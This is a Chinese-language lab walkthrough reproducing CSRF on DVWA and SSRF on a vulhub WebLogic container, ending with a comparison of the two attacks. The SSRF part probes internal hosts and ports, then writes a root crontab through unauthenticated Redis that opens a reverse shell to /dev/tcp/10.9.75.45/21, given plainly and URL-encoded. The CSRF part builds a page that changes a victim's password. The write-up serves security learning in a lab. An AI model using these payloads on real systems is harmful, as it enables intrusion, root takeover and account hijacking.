文章目录
- CSRF复现
- SSRF复现
- 启动环境
- 漏洞复现
- 探测存活IP和端口服务
- 计划任务反弹shell
- 区别
CSRF复现
打开dvwa，将难度调为low，点击CSRF，打开后发现有一个修改密码的输入框：
在这里修改密码，并用bp抓包，在http history查看数据包，点击engagement tools中的Generate CSRF Poc根据请求包生成一个CSRF攻击的网页：
在生成的代码中修改密码为12345，点击test in browser在浏览器中测试：
复制生成网页的URL：
然后在不关闭dvwa的情况下访问生成的恶意网站，点击按钮：
点击后跳回到dvwa的CSRF修改密码界面，此时密码已经被修改，退回到登录界面，输入原来的密码后发现登录失败：
SSRF复现
启动环境
到vulhub/weblogic/ssrf目录下
cd vulhub/weblogic/ssrf
启动容器：
sudo docker-compose up -d
启动成功，如图：
打开bp，然后打开bp中的内置浏览器Browser，输入地址10.9.75.45:7001/uddiexplorer进入网页，等待初始化后跳转出网页：
漏洞复现
点击Search Public Registries，在页面点击search后用bp抓包：
抓到的数据包如下图，是一个post请求包：
将数据包发到repeater模块，发送后报错，检查错误信息，发现有一个URL，在数据包的底部发现operator包含该URL：
然后我们可以检查此处是否有SSRF漏洞，用dnslog生成一个网址：
复制后在数据包中输入
http://www.emt.hmb3ub.dnslog.cn
观察它是否会根据给的地址做url请求，如果有，就存在SSRF漏洞：
发送后到网站点击Refresh Record，查看是否有请求回显：
确定此处存在SSRF漏洞。
探测存活IP和端口服务
查看报错信息，发现80端口未开放，我们可以测试存活的可用IP，先到kali查看IP：
测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活，如果返回错误信息证明存活，端口用已知的7001开放端口，即它本身的服务端口。
经测试，只有172.23.0.2为存活IP：
在存活IP的基础上测试开放端口80、8080、3306、445、6379，经测试发现只有6379（redis数据库）端口开放（其余端口回显相同的错误信息）：
计划任务反弹shell
由于web服务未开放、ssh未开放，利用redis未授权访问漏洞只能写计划任务做反弹shell，写一个每时每分每天每月每周的计划任务，IP写kali的地址，端口为21
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
由于redis数据库的命令需要通过http协议提交，所以需要先进行URL编码：
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意，换行符是“\r\n”，也就是“%0D%0A”。
需要在url中提交，前面加上协议头，前后加上两次换行符：
http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt
kali监听21端口：
在bp中修改字段点击发送，将计划任务发送到redis数据库中：
反弹shell成功，获取到root权限：
区别
SSRF和CSRF都是伪造攻击，前者伪造服务器的请求，后者伪造用户的请求，来达成攻击者想要达成的目的。
CSRF可以用一个恶意网站诱导用户发送跨站请求，来执行更改用户的密码或转移资金的操作。
SSRF是攻击者向服务器提交一个URL地址，服务器根据URL地址发送HTTP请求，伪造服务器请求。
